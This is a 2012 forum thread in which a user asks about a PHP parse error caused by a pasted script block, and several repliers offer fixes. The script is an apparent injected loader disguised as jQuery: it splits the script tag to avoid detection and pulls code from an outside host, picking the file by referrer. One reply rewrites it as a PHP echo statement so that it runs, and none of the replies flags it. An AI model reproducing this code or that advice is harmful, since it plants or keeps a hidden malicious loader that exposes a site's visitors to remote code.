PHP Error Need help

Discussion in 'PHP' started by iamlead, Aug 15, 2012.

  1. #1
    I got this error ..
    Parse error: syntax error, unexpected '<'

    Here is the code

    [/B]<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.smileyhost12.info/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.smileyhost12.info/jquery.js"></scr'+'ipt>'); } </script>
    [B]
    Code (markup):


    Please help me to fix it :)
     
    iamlead, Aug 15, 2012 IP
  2. ironcladservers

    ironcladservers Well-Known Member

    Messages:
    389
    Likes Received:
    20
    Best Answers:
    4
    Trophy Points:
    115
    #2
    Are you putting this script in a PHP file? Above code is HTML... you can parse PHP in an HTML file, but to put this code in a PHP script you need to use PHP's "echo" for it to output HTML as it is instead of trying to parse it.
     
    ironcladservers, Aug 15, 2012 IP
  3. BRUm

    BRUm Well-Known Member

    Messages:
    3,086
    Likes Received:
    61
    Best Answers:
    1
    Trophy Points:
    100
    #3
    This is Javascript, not PHP or HTML.
     
    BRUm, Aug 18, 2012 IP
  4. MultiCoder

    MultiCoder Active Member

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    86
    #4
    To send the code from a php section of a php-script to a web browser you can use:
    echo "<script type=\"text/javascript\"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type=\"text/javascript\" src=\"http://www.smileyhost12.info/jquery.min.js\"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type=\"text/javascript\" src=\"http://www.smileyhost12.info/jquery.js\"></scr'+'ipt>'); } </script>";
    PHP:
     
    MultiCoder, Aug 18, 2012 IP
  5. BRUm

    BRUm Well-Known Member

    Messages:
    3,086
    Likes Received:
    61
    Best Answers:
    1
    Trophy Points:
    100
    #5
    Maybe he can elaborate.

    It escapes me why someone would want to output inline javascript in this manner.
     
    BRUm, Aug 18, 2012 IP
  6. Candan

    Candan Peon

    Messages:
    7
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Exactly, javascript shouldn't be in php, atleast not the whole damn script.
     
    Candan, Aug 20, 2012 IP
  7. lemonsquad

    lemonsquad Greenhorn Affiliate Manager

    Messages:
    42
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    16
    #7
    The better question is what are you trying to do?
     
    lemonsquad, Aug 21, 2012 IP
  8. mastjaat

    mastjaat Member

    Messages:
    64
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    36
    #8
    use echo or print with it.
     
    mastjaat, Aug 22, 2012 IP